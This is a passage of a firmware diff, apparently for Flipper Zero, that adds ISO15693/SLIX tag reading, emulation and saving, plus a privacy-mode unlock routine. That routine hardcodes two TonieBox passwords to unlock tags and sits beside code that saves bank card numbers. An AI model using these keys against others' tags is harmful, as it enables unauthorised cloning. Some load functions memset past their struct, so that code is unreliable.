if(event.event == NfcWorkerEventWrongCardDetected) { + nfc_scene_nfcv_unlock_set_state(nfc, NfcSceneNfcVUnlockStateNotSupportedCard); + } + } else if(event.type == SceneManagerEventTypeBack) { + consumed = scene_manager_search_and_switch_to_previous_scene( + nfc->scene_manager, NfcSceneNfcVUnlockMenu); + } + return consumed; +} + +void nfc_scene_nfcv_unlock_on_exit(void* context) { + Nfc* nfc = context; + + // Stop worker + nfc_worker_stop(nfc->worker); + // Clear view + popup_reset(nfc->popup); + nfc_blink_stop(nfc); + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneNfcVUnlock, NfcSceneNfcVUnlockStateIdle); +} diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_unlock_menu.c b/applications/main/nfc/scenes/nfc_scene_nfcv_unlock_menu.c new file mode 100644 index 000000000..9c4c81fbd --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_unlock_menu.c @@ -0,0 +1,60 @@ +#include "../nfc_i.h" +#include + +enum SubmenuIndex { + SubmenuIndexNfcVUnlockMenuManual, + SubmenuIndexNfcVUnlockMenuTonieBox, +}; + +void nfc_scene_nfcv_unlock_menu_submenu_callback(void* context, uint32_t index) { + Nfc* nfc = context; + + view_dispatcher_send_custom_event(nfc->view_dispatcher, index); +} + +void nfc_scene_nfcv_unlock_menu_on_enter(void* context) { + Nfc* nfc = context; + Submenu* submenu = nfc->submenu; + + uint32_t state = scene_manager_get_scene_state(nfc->scene_manager, NfcSceneNfcVUnlockMenu); + submenu_add_item( + submenu, + "Enter PWD Manually", + SubmenuIndexNfcVUnlockMenuManual, + nfc_scene_nfcv_unlock_menu_submenu_callback, + nfc); + submenu_add_item( + submenu, + "Auth As TonieBox", + SubmenuIndexNfcVUnlockMenuTonieBox, + nfc_scene_nfcv_unlock_menu_submenu_callback, + nfc); + submenu_set_selected_item(submenu, state); + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewMenu); +} + +bool nfc_scene_nfcv_unlock_menu_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubmenuIndexNfcVUnlockMenuManual) { + nfc->dev->dev_data.nfcv_data.auth_method = NfcVAuthMethodManual; + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVKeyInput); + consumed = true; + } else if(event.event == SubmenuIndexNfcVUnlockMenuTonieBox) { + nfc->dev->dev_data.nfcv_data.auth_method = NfcVAuthMethodTonieBox; + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVUnlock); + DOLPHIN_DEED(DolphinDeedNfcRead); + consumed = true; + } + scene_manager_set_scene_state(nfc->scene_manager, NfcSceneNfcVUnlockMenu, event.event); + } + return consumed; +} + +void nfc_scene_nfcv_unlock_menu_on_exit(void* context) { + Nfc* nfc = context; + + submenu_reset(nfc->submenu); +} diff --git a/applications/main/nfc/scenes/nfc_scene_read.c b/applications/main/nfc/scenes/nfc_scene_read.c index 4252883b2..d30706c5b 100644 --- a/applications/main/nfc/scenes/nfc_scene_read.c +++ b/applications/main/nfc/scenes/nfc_scene_read.c @@ -68,6 +68,11 @@ bool nfc_scene_read_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcaReadSuccess); DOLPHIN_DEED(DolphinDeedNfcReadSuccess); consumed = true; + } else if(event.event == NfcWorkerEventReadNfcV) { + notification_message(nfc->notifications, &sequence_success); + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcDataInfo); + DOLPHIN_DEED(DolphinDeedNfcReadSuccess); + consumed = true; } else if(event.event == NfcWorkerEventReadMfUltralight) { notification_message(nfc->notifications, &sequence_success); // Set unlock password input to 0xFFFFFFFF only on fresh read diff --git a/applications/main/nfc/scenes/nfc_scene_rpc.c b/applications/main/nfc/scenes/nfc_scene_rpc.c index 60d01a30d..d06ee7564 100644 --- a/applications/main/nfc/scenes/nfc_scene_rpc.c +++ b/applications/main/nfc/scenes/nfc_scene_rpc.c @@ -55,6 +55,13 @@ bool nfc_scene_rpc_on_event(void* context, SceneManagerEvent event) { &nfc->dev->dev_data, nfc_scene_rpc_emulate_callback, nfc); + } else if(nfc->dev->format == NfcDeviceSaveFormatNfcV) { + nfc_worker_start( + nfc->worker, + NfcWorkerStateNfcVEmulate, + &nfc->dev->dev_data, + nfc_scene_rpc_emulate_callback, + nfc); } else { nfc_worker_start( nfc->worker, NfcWorkerStateUidEmulate, &nfc->dev->dev_data, NULL, nfc); diff --git a/applications/main/nfc/scenes/nfc_scene_saved_menu.c b/applications/main/nfc/scenes/nfc_scene_saved_menu.c index 04c686fbe..90967dd3e 100644 --- a/applications/main/nfc/scenes/nfc_scene_saved_menu.c +++ b/applications/main/nfc/scenes/nfc_scene_saved_menu.c @@ -116,6 +116,8 @@ bool nfc_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneMfUltralightEmulate); } else if(nfc->dev->format == NfcDeviceSaveFormatMifareClassic) { scene_manager_next_scene(nfc->scene_manager, NfcSceneMfClassicEmulate); + } else if(nfc->dev->format == NfcDeviceSaveFormatNfcV) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateNfcV); } else { scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateUid); } diff --git a/lib/nfc/nfc_device.c b/lib/nfc/nfc_device.c index 52bff24e3..e3f39fc58 100644 --- a/lib/nfc/nfc_device.c +++ b/lib/nfc/nfc_device.c @@ -58,6 +58,8 @@ static void nfc_device_prepare_format_string(NfcDevice* dev, FuriString* format_ furi_string_set(format_string, "Mifare Classic"); } else if(dev->format == NfcDeviceSaveFormatMifareDesfire) { furi_string_set(format_string, "Mifare DESFire"); + } else if(dev->format == NfcDeviceSaveFormatNfcV) { + furi_string_set(format_string, "ISO15693"); } else { furi_string_set(format_string, "Unknown"); } @@ -93,6 +95,11 @@ static bool nfc_device_parse_format_string(NfcDevice* dev, FuriString* format_st dev->dev_data.protocol = NfcDeviceProtocolMifareDesfire; return true; } + if(furi_string_start_with_str(format_string, "ISO15693")) { + dev->format = NfcDeviceSaveFormatNfcV; + dev->dev_data.protocol = NfcDeviceProtocolNfcV; + return true; + } return false; } @@ -650,7 +657,310 @@ bool nfc_device_load_mifare_df_data(FlipperFormat* file, NfcDevice* dev) { return parsed; } -// Leave for backward compatibility +static bool nfc_device_save_slix_data(FlipperFormat* file, NfcDevice* dev) { + bool saved = false; + NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; + + do { + if(!flipper_format_write_comment_cstr(file, "SLIX specific data")) break; + if(!flipper_format_write_hex(file, "Password EAS", data->key_eas, sizeof(data->key_eas))) + break; + saved = true; + } while(false); + + return saved; +} + +bool nfc_device_load_slix_data(FlipperFormat* file, NfcDevice* dev) { + bool parsed = false; + NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; + memset(data, 0, sizeof(NfcVData)); + + do { + if(!flipper_format_read_hex(file, "Password EAS", data->key_eas, sizeof(data->key_eas))) + break; + + parsed = true; + } while(false); + + return parsed; +} + +static bool nfc_device_save_slix_s_data(FlipperFormat* file, NfcDevice* dev) { + bool saved = false; + NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; + + do { + if(!flipper_format_write_comment_cstr(file, "SLIX-S specific data")) break; + if(!flipper_format_write_hex(file, "Password Read", data->key_read, sizeof(data->key_read))) + break; + if(!flipper_format_write_hex( + file, "Password Write", data->key_write, sizeof(data->key_write))) + break; + if(!flipper_format_write_hex( + file, "Password Privacy", data->key_privacy, sizeof(data->key_privacy))) + break; + if(!flipper_format_write_hex( + file, "Password Destroy", data->key_destroy, sizeof(data->key_destroy))) + break; + if(!flipper_format_write_hex(file, "Password EAS", data->key_eas, sizeof(data->key_eas))) + break; + if(!flipper_format_write_bool(file, "Privacy Mode", &data->privacy, 1)) break; + saved = true; + } while(false); + + return saved; +} + +bool nfc_device_load_slix_s_data(FlipperFormat* file, NfcDevice* dev) { + bool parsed = false; + NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; + memset(data, 0, sizeof(NfcVData)); + + do { + if(!flipper_format_read_hex(file, "Password Read", data->key_read, sizeof(data->key_read))) + break; + if(!flipper_format_read_hex( + file, "Password Write", data->key_write, sizeof(data->key_write))) + break; + if(!flipper_format_read_hex( + file, "Password Privacy", data->key_privacy, sizeof(data->key_privacy))) + break; + if(!flipper_format_read_hex( + file, "Password Destroy", data->key_destroy, sizeof(data->key_destroy))) + break; + if(!flipper_format_read_hex(file, "Password EAS", data->key_eas, sizeof(data->key_eas))) + break; + if(!flipper_format_read_bool(file, "Privacy Mode", &data->privacy, 1)) break; + + parsed = true; + } while(false); + + return parsed; +} + +static bool nfc_device_save_slix_l_data(FlipperFormat* file, NfcDevice* dev) { + bool saved = false; + NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; + + do { + if(!flipper_format_write_comment_cstr(file, "SLIX-L specific data")) break; + if(!flipper_format_write_hex( + file, "Password Privacy", data->key_privacy, sizeof(data->key_privacy))) + break; + if(!flipper_format_write_hex( + file, "Password Destroy", data->key_destroy, sizeof(data->key_destroy))) + break; + if(!flipper_format_write_hex(file, "Password EAS", data->key_eas, sizeof(data->key_eas))) + break; + if(!flipper_format_write_bool(file, "Privacy Mode", &data->privacy, 1)) break; + saved = true; + } while(false); + + return saved; +} + +bool nfc_device_load_slix_l_data(FlipperFormat* file, NfcDevice* dev) { + bool parsed = false; + NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; + memset(data, 0, sizeof(NfcVData)); + + do { + if(!flipper_format_read_hex( + file, "Password Privacy", data->key_privacy, sizeof(data->key_privacy))) + break; + if(!flipper_format_read_hex( + file, "Password Destroy", data->key_destroy, sizeof(data->key_destroy))) + break; + if(!flipper_format_read_hex(file, "Password EAS", data->key_eas, sizeof(data->key_eas))) + break; + if(!flipper_format_read_bool(file, "Privacy Mode", &data->privacy, 1)) break; + + parsed = true; + } while(false); + + return parsed; +} + +static bool nfc_device_save_slix2_data(FlipperFormat* file, NfcDevice* dev) { + bool saved = false; + NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; + + do { + if(!flipper_format_write_comment_cstr(file, "SLIX2 specific data")) break; + if(!flipper_format_write_hex(file, "Password Read", data->key_read, sizeof(data->key_read))) + break; + if(!flipper_format_write_hex( + file, "Password Write", data->key_write, sizeof(data->key_write))) + break; + if(!flipper_format_write_hex( + file, "Password Privacy", data->key_privacy, sizeof(data->key_privacy))) + break; + if(!flipper_format_write_hex( + file, "Password Destroy", data->key_destroy, sizeof(data->key_destroy))) + break; + if(!flipper_format_write_hex(file, "Password EAS", data->key_eas, sizeof(data->key_eas))) + break; + if(!flipper_format_write_bool(file, "Privacy Mode", &data->privacy, 1)) break; + saved = true; + } while(false); + + return saved; +} + +bool nfc_device_load_slix2_data(FlipperFormat* file, NfcDevice* dev) { + bool parsed = false; + NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; + memset(data, 0, sizeof(NfcVData)); + + do { + if(!flipper_format_read_hex(file, "Password Read", data->key_read, sizeof(data->key_read))) + break; + if(!flipper_format_read_hex( + file, "Password Write", data->key_write, sizeof(data->key_write))) + break; + if(!flipper_format_read_hex( + file, "Password Privacy", data->key_privacy, sizeof(data->key_privacy))) + break; + if(!flipper_format_read_hex( + file, "Password Destroy", data->key_destroy, sizeof(data->key_destroy))) + break; + if(!flipper_format_read_hex(file, "Password EAS", data->key_eas, sizeof(data->key_eas))) + break; + if(!flipper_format_read_bool(file, "Privacy Mode", &data->privacy, 1)) break; + + parsed = true; + } while(false); + + return parsed; +} + +static bool nfc_device_save_nfcv_data(FlipperFormat* file, NfcDevice* dev) { + bool saved = false; + NfcVData* data = &dev->dev_data.nfcv_data; + + do { + uint32_t temp_uint32 = 0; + uint8_t temp_uint8 = 0; + + if(!flipper_format_write_comment_cstr(file, "Data Storage Format Identifier")) break; + if(!flipper_format_write_hex(file, "DSFID", &(data->dsfid), 1)) break; + if(!flipper_format_write_comment_cstr(file, "Application Family Identifier")) break; + if(!flipper_format_write_hex(file, "AFI", &(data->afi), 1)) break; + if(!flipper_format_write_hex(file, "IC Reference", &(data->ic_ref), 1)) break; + temp_uint32 = data->block_num; + if(!flipper_format_write_comment_cstr(file, "Number of memory blocks, usually 0 to 256")) + break; + if(!flipper_format_write_uint32(file, "Block Count", &temp_uint32, 1)) break; + if(!flipper_format_write_comment_cstr(file, "Size of a single memory block, usually 4")) + break; + if(!flipper_format_write_hex(file, "Block Size", &(data->block_size), 1)) break; + if(!flipper_format_write_hex( + file, "Data Content", data->data, data->block_num * data->block_size)) + break; + if(!flipper_format_write_comment_cstr( + file, + "Subtype of this card (0 = ISO15693, 1 = SLIX, 2 = SLIX-S, 3 = SLIX-L, 4 = SLIX2)")) + break; + temp_uint8 = (uint8_t)data->sub_type; + if(!flipper_format_write_hex(file, "Subtype", &temp_uint8, 1)) break; + + switch(data->sub_type) { + case NfcVTypePlain: + if(!flipper_format_write_comment_cstr(file, "End of ISO15693 parameters")) break; + saved = true; + break; + case NfcVTypeSlix: + saved = nfc_device_save_slix_data(file, dev); + break; + case NfcVTypeSlixS: + saved = nfc_device_save_slix_s_data(file, dev); + break; + case NfcVTypeSlixL: + saved = nfc_device_save_slix_l_data(file, dev); + break; + case NfcVTypeSlix2: + saved = nfc_device_save_slix2_data(file, dev); + break; + } + } while(false); + + return saved; +} + +bool nfc_device_load_nfcv_data(FlipperFormat* file, NfcDevice* dev) { + bool parsed = false; + NfcVData* data = &dev->dev_data.nfcv_data; + + memset(data, 0, sizeof(NfcVData)); + + do { + uint32_t temp_uint32 = 0; + uint8_t temp_value = 0; + + if(!flipper_format_read_hex(file, "DSFID", &(data->dsfid), 1)) break; + if(!flipper_format_read_hex(file, "AFI", &(data->afi), 1)) break; + if(!flipper_format_read_hex(file, "IC Reference", &(data->ic_ref), 1)) break; + if(!flipper_format_read_uint32(file, "Block Count", &temp_uint32, 1)) break; + data->block_num = temp_uint32; + if(!flipper_format_read_hex(file, "Block Size", &(data->block_size), 1)) break; + if(!flipper_format_read_hex( + file, "Data Content", data->data, data->block_num * data->block_size)) + break; + if(!flipper_format_read_hex(file, "Subtype", &temp_value, 1)) break; + data->sub_type = temp_value; + + switch(data->sub_type) { + case NfcVTypePlain: + parsed = true; + break; + case NfcVTypeSlix: + parsed = nfc_device_load_slix_data(file, dev); + break; + case NfcVTypeSlixS: + parsed = nfc_device_load_slix_s_data(file, dev); + break; + case NfcVTypeSlixL: + parsed = nfc_device_load_slix_l_data(file, dev); + break; + case NfcVTypeSlix2: + parsed = nfc_device_load_slix2_data(file, dev); + break; + } + } while(false); + + return parsed; +} + +static bool nfc_device_save_bank_card_data(FlipperFormat* file, NfcDevice* dev) { + bool saved = false; + EmvData* data = &dev->dev_data.emv_data; + uint32_t data_temp = 0; + + do { + // Write Bank card specific data + if(!flipper_format_write_comment_cstr(file, "Bank card specific data")) break; + if(!flipper_format_write_hex(file, "AID", data->aid, data->aid_len)) break; + if(!flipper_format_write_string_cstr(file, "Name", data->name)) break; + if(!flipper_format_write_hex(file, "Number", data->number, data->number_len)) break; + if(data->exp_mon) { + uint8_t exp_data[2] = {data->exp_mon, data->exp_year}; + if(!flipper_format_write_hex(file, "Exp data", exp_data, sizeof(exp_data))) break; + } + if(data->country_code) { + data_temp = data->country_code; + if(!flipper_format_write_uint32(file, "Country code", &data_temp, 1)) break; + } + if(data->currency_code) { + data_temp = data->currency_code; + if(!flipper_format_write_uint32(file, "Currency code", &data_temp, 1)) break; + } + saved = true; + } while(false); + + return saved; +} + bool nfc_device_load_bank_card_data(FlipperFormat* file, NfcDevice* dev) { bool parsed = false; EmvData* data = &dev->dev_data.emv_data; @@ -1059,23 +1369,32 @@ bool nfc_device_save(NfcDevice* dev, const char* dev_name) { if(!flipper_format_write_header_cstr(file, nfc_file_header, nfc_file_version)) break; // Write nfc device type if(!flipper_format_write_comment_cstr( - file, "Nfc device type can be UID, Mifare Ultralight, Mifare Classic")) + file, "Nfc device type can be UID, Mifare Ultralight, Mifare Classic or ISO15693")) break; nfc_device_prepare_format_string(dev, temp_str); if(!flipper_format_write_string(file, "Device type", temp_str)) break; - // Write UID, ATQA, SAK - if(!flipper_format_write_comment_cstr(file, "UID, ATQA and SAK are common for all formats")) - break; + // Write UID + if(!flipper_format_write_comment_cstr(file, "UID is common for all formats")) break; if(!flipper_format_write_hex(file, "UID", data->uid, data->uid_len)) break; - // Save ATQA in MSB order for correct companion apps display - uint8_t atqa[2] = {data->atqa[1], data->atqa[0]}; - if(!flipper_format_write_hex(file, "ATQA", atqa, 2)) break; - if(!flipper_format_write_hex(file, "SAK", &data->sak, 1)) break; + + if(dev->format != NfcDeviceSaveFormatNfcV) { + // Write ATQA, SAK + if(!flipper_format_write_comment_cstr(file, "ISO14443 specific fields")) break; + // Save ATQA in MSB order for correct companion apps display + uint8_t atqa[2] = {data->atqa[1], data->atqa[0]}; + if(!flipper_format_write_hex(file, "ATQA", atqa, 2)) break; + if(!flipper_format_write_hex(file, "SAK", &data->sak, 1)) break; + } + // Save more data if necessary if(dev->format == NfcDeviceSaveFormatMifareUl) { if(!nfc_device_save_mifare_ul_data(file, dev)) break; } else if(dev->format == NfcDeviceSaveFormatMifareDesfire) { if(!nfc_device_save_mifare_df_data(file, dev)) break; + } else if(dev->format == NfcDeviceSaveFormatNfcV) { + if(!nfc_device_save_nfcv_data(file, dev)) break; + } else if(dev->format == NfcDeviceSaveFormatBankCard) { + if(!nfc_device_save_bank_card_data(file, dev)) break; } else if(dev->format == NfcDeviceSaveFormatMifareClassic) { // Save data if(!nfc_device_save_mifare_classic_data(file, dev)) break; @@ -1150,18 +1469,20 @@ static bool nfc_device_load_data(NfcDevice* dev, FuriString* path, bool show_dia if(!nfc_device_parse_format_string(dev, temp_str)) break; // Read and parse UID, ATQA and SAK if(!flipper_format_get_value_count(file, "UID", &data_cnt)) break; - if(!(data_cnt == 4 || data_cnt == 7)) break; + if(!(data_cnt == 4 || data_cnt == 7 || data_cnt == 8)) break; data->uid_len = data_cnt; if(!flipper_format_read_hex(file, "UID", data->uid, data->uid_len)) break; - if(version == version_with_lsb_atqa) { - if(!flipper_format_read_hex(file, "ATQA", data->atqa, 2)) break; - } else { - uint8_t atqa[2] = {}; - if(!flipper_format_read_hex(file, "ATQA", atqa, 2)) break; - data->atqa[0] = atqa[1]; - data->atqa[1] = atqa[0]; + if(dev->format != NfcDeviceSaveFormatNfcV) { + if(version == version_with_lsb_atqa) { + if(!flipper_format_read_hex(file, "ATQA", data->atqa, 2)) break; + } else { + uint8_t atqa[2] = {}; + if(!flipper_format_read_hex(file, "ATQA", atqa, 2)) break; + data->atqa[0] = atqa[1]; + data->atqa[1] = atqa[0]; + } + if(!flipper_format_read_hex(file, "SAK", &data->sak, 1)) break; } - if(!flipper_format_read_hex(file, "SAK", &data->sak, 1)) break; // Load CUID uint8_t* cuid_start = data->uid; if(data->uid_len == 7) { @@ -1176,6 +1497,8 @@ static bool nfc_device_load_data(NfcDevice* dev, FuriString* path, bool show_dia if(!nfc_device_load_mifare_classic_data(file, dev)) break; } else if(dev->format == NfcDeviceSaveFormatMifareDesfire) { if(!nfc_device_load_mifare_df_data(file, dev)) break; + } else if(dev->format == NfcDeviceSaveFormatNfcV) { + if(!nfc_device_load_nfcv_data(file, dev)) break; } else if(dev->format == NfcDeviceSaveFormatBankCard) { if(!nfc_device_load_bank_card_data(file, dev)) break; } diff --git a/lib/nfc/nfc_device.h b/lib/nfc/nfc_device.h index 8b2e6e5ba..d5a9e57fb 100644 --- a/lib/nfc/nfc_device.h +++ b/lib/nfc/nfc_device.h @@ -11,6 +11,7 @@ #include #include #include +#include #ifdef __cplusplus extern "C" { @@ -31,6 +32,7 @@ typedef enum { NfcDeviceProtocolMifareUl, NfcDeviceProtocolMifareClassic, NfcDeviceProtocolMifareDesfire, + NfcDeviceProtocolNfcV } NfcProtocol; typedef enum { @@ -39,6 +41,7 @@ typedef enum { NfcDeviceSaveFormatMifareUl, NfcDeviceSaveFormatMifareClassic, NfcDeviceSaveFormatMifareDesfire, + NfcDeviceSaveFormatNfcV, } NfcDeviceSaveFormat; typedef struct { @@ -74,6 +77,7 @@ typedef struct { MfUltralightData mf_ul_data; MfClassicData mf_classic_data; MifareDesfireData mf_df_data; + NfcVData nfcv_data; }; FuriString* parsed_data; } NfcDeviceData; diff --git a/lib/nfc/nfc_worker.c b/lib/nfc/nfc_worker.c index 4a66593cb..4e07c9ef2 100644 --- a/lib/nfc/nfc_worker.c +++ b/lib/nfc/nfc_worker.c @@ -109,6 +109,12 @@ int32_t nfc_worker_task(void* context) { nfc_worker_mf_classic_dict_attack(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateAnalyzeReader) { nfc_worker_analyze_reader(nfc_worker); + } else if(nfc_worker->state == NfcWorkerStateNfcVEmulate) { + nfc_worker_emulate_nfcv(nfc_worker); + } else if(nfc_worker->state == NfcWorkerStateNfcVUnlock) { + nfc_worker_nfcv_unlock(nfc_worker); + } else if(nfc_worker->state == NfcWorkerStateNfcVUnlockAndSave) { + nfc_worker_nfcv_unlock(nfc_worker); } furi_hal_nfc_sleep(); nfc_worker_change_state(nfc_worker, NfcWorkerStateReady); @@ -116,6 +122,179 @@ int32_t nfc_worker_task(void* context) { return 0; } +static bool nfc_worker_read_nfcv_content(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { + bool read_success = false; + NfcVReader reader = {}; + + FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + NfcVData* nfcv_data = &nfc_worker->dev_data->nfcv_data; + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, tx_rx, false); + reader_analyzer_start(nfc_worker->reader_analyzer, ReaderAnalyzerModeDebugLog); + } + + do { + if(!furi_hal_nfc_detect(&nfc_worker->dev_data->nfc_data, 200)) break; + if(!nfcv_read_card(&reader, nfc_data, nfcv_data)) break; + + read_success = true; + } while(false); + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_stop(nfc_worker->reader_analyzer); + } + + return read_success; +} + +void nfc_worker_nfcv_unlock(NfcWorker* nfc_worker) { + furi_assert(nfc_worker); + furi_assert(nfc_worker->callback); + + NfcVData* nfcv_data = &nfc_worker->dev_data->nfcv_data; + FuriHalNfcTxRxContext tx_rx = {}; + uint8_t* key_data = nfcv_data->sub_data.slix.key_privacy; + uint32_t key = 0; + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, &tx_rx, true); + reader_analyzer_start(nfc_worker->reader_analyzer, ReaderAnalyzerModeDebugLog); + } + + furi_hal_nfc_sleep(); + + while((nfc_worker->state == NfcWorkerStateNfcVUnlock) || + (nfc_worker->state == NfcWorkerStateNfcVUnlockAndSave)) { + furi_hal_nfc_exit_sleep(); + furi_hal_nfc_ll_txrx_on(); + furi_hal_nfc_ll_poll(); + if(furi_hal_nfc_ll_set_mode( + FuriHalNfcModePollNfcv, FuriHalNfcBitrate26p48, FuriHalNfcBitrate26p48) != + FuriHalNfcReturnOk) { + break; + } + + furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCV_POLLER); + furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCV_POLLER); + furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc); + furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCV); + + furi_hal_console_printf("Detect presence\r\n"); + ReturnCode ret = slix_get_random(nfcv_data); + + if(ret == ERR_NONE) { + /* there is some chip, responding with a RAND */ + nfc_worker->dev_data->protocol = NfcDeviceProtocolNfcV; + furi_hal_console_printf(" Chip detected. In privacy?\r\n"); + ret = nfcv_inventory(NULL); + + if(ret == ERR_NONE) { + /* chip is also visible, so no action required, just save */ + if(nfc_worker->state == NfcWorkerStateNfcVUnlockAndSave) { + NfcVReader reader = {}; + + if(!nfcv_read_card(&reader, &nfc_worker->dev_data->nfc_data, nfcv_data)) { + furi_hal_console_printf(" => failed, wait for chip to disappear.\r\n"); + snprintf(nfcv_data->error, sizeof(nfcv_data->error), "Read card\nfailed"); + nfc_worker->callback(NfcWorkerEventWrongCardDetected, nfc_worker->context); + } else { + furi_hal_console_printf(" => success, wait for chip to disappear.\r\n"); + nfc_worker->callback(NfcWorkerEventCardDetected, nfc_worker->context); + } + } else { + furi_hal_console_printf(" => success, wait for chip to disappear.\r\n"); + nfc_worker->callback(NfcWorkerEventCardDetected, nfc_worker->context); + } + + while(slix_get_random(NULL) == ERR_NONE) { + furi_delay_ms(100); + } + + furi_hal_console_printf( + " => chip is already visible, wait for chip to disappear.\r\n"); + nfc_worker->callback(NfcWorkerEventAborted, nfc_worker->context); + while(slix_get_random(NULL) == ERR_NONE) { + furi_delay_ms(100); + } + + key_data[0] = 0; + key_data[1] = 0; + key_data[2] = 0; + key_data[3] = 0; + + } else { + /* chip is invisible, try to unlock */ + furi_hal_console_printf(" chip is invisible, unlocking\r\n"); + + if(nfcv_data->auth_method == NfcVAuthMethodManual) { + key |= key_data[0] << 24; + key |= key_data[1] << 16; + key |= key_data[2] << 8; + key |= key_data[3] << 0; + + ret = slix_unlock(nfcv_data, 4); + } else { + key = 0x7FFD6E5B; + key_data[0] = key >> 24; + key_data[1] = key >> 16; + key_data[2] = key >> 8; + key_data[3] = key >> 0; + ret = slix_unlock(nfcv_data, 4); + + if(ret != ERR_NONE) { + /* main key failed, trying second one */ + furi_hal_console_printf(" trying second key after resetting\r\n"); + + /* reset chip */ + furi_hal_nfc_ll_txrx_off(); + furi_delay_ms(20); + furi_hal_nfc_ll_txrx_on(); + + if(slix_get_random(nfcv_data) != ERR_NONE) { + furi_hal_console_printf(" reset failed\r\n"); + } + + key = 0x0F0F0F0F; + key_data[0] = key >> 24; + key_data[1] = key >> 16; + key_data[2] = key >> 8; + key_data[3] = key >> 0; + ret = slix_unlock(nfcv_data, 4); + } + } + if(ret != ERR_NONE) { + /* unlock failed */ + furi_hal_console_printf(" => failed, wait for chip to disappear.\r\n"); + snprintf( + nfcv_data->error, sizeof(nfcv_data->error), "Passwords not\naccepted"); + nfc_worker->callback(NfcWorkerEventWrongCardDetected, nfc_worker->context); + + /* reset chip */ + furi_hal_nfc_ll_txrx_off(); + furi_delay_ms(20); + furi_hal_nfc_ll_txrx_on(); + + /* wait for disappearing */ + while(slix_get_random(NULL) == ERR_NONE) { + furi_delay_ms(100); + } + } + } + } else { + nfc_worker->callback(NfcWorkerEventNoCardDetected, nfc_worker->context); + } + + furi_hal_nfc_ll_txrx_off(); + furi_hal_nfc_sleep(); + furi_delay_ms(100); + } + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_stop(nfc_worker->reader_analyzer); + } +} + static bool nfc_worker_read_mf_ultralight(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { bool read_success = false; MfUltralightReader reader = {}; @@ -329,6 +508,20 @@ static bool nfc_worker_read_nfca(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* t return card_read; } +static bool nfc_worker_read_nfcv(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { + furi_assert(nfc_worker); + furi_assert(tx_rx); + + bool card_read = false; + furi_hal_nfc_sleep(); + + /* until here the UID field is reversed from the reader IC. + we will read it here again and it will get placed in the right order. */ + card_read = nfc_worker_read_nfcv_content(nfc_worker, tx_rx); + + return card_read; +} + void nfc_worker_read(NfcWorker* nfc_worker) { furi_assert(nfc_worker); furi_assert(nfc_worker->callback); @@ -376,7 +569,12 @@ void nfc_worker_read(NfcWorker* nfc_worker) { event = NfcWorkerEventReadUidNfcF; break; } else if(nfc_data->type == FuriHalNfcTypeV) { - event = NfcWorkerEventReadUidNfcV; + FURI_LOG_I(TAG, "NfcV detected"); + nfc_worker->dev_data->protocol = NfcDeviceProtocolNfcV; + if(nfc_worker_read_nfcv(nfc_worker, &tx_rx)) { + FURI_LOG_I(TAG, "nfc_worker_read_nfcv success"); + } + event = NfcWorkerEventReadNfcV; break; } } else { @@ -494,6 +692,32 @@ void nfc_worker_emulate_uid(NfcWorker* nfc_worker) { } } +void nfc_worker_emulate_nfcv(NfcWorker* nfc_worker) { + FuriHalNfcTxRxContext tx_rx = {}; + FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + NfcVData* nfcv_data = &nfc_worker->dev_data->nfcv_data; + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, &tx_rx, true); + reader_analyzer_start(nfc_worker->reader_analyzer, ReaderAnalyzerModeDebugLog); + } + + nfcv_emu_init(nfc_data, nfcv_data); + while(nfc_worker->state == NfcWorkerStateNfcVEmulate) { + if(nfcv_emu_loop(&tx_rx, nfc_data, nfcv_data, 50)) { + if(nfc_worker->callback) { + nfc_worker->callback(NfcWorkerEventSuccess, nfc_worker->context); + } + } + furi_delay_ms(0); + } + nfcv_emu_deinit(nfcv_data); + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_stop(nfc_worker->reader_analyzer); + } +} + void nfc_worker_emulate_apdu(NfcWorker* nfc_worker) { FuriHalNfcTxRxContext tx_rx = {}; FuriHalNfcDevData params = { diff --git a/lib/nfc/nfc_worker.h b/lib/nfc/nfc_worker.h index 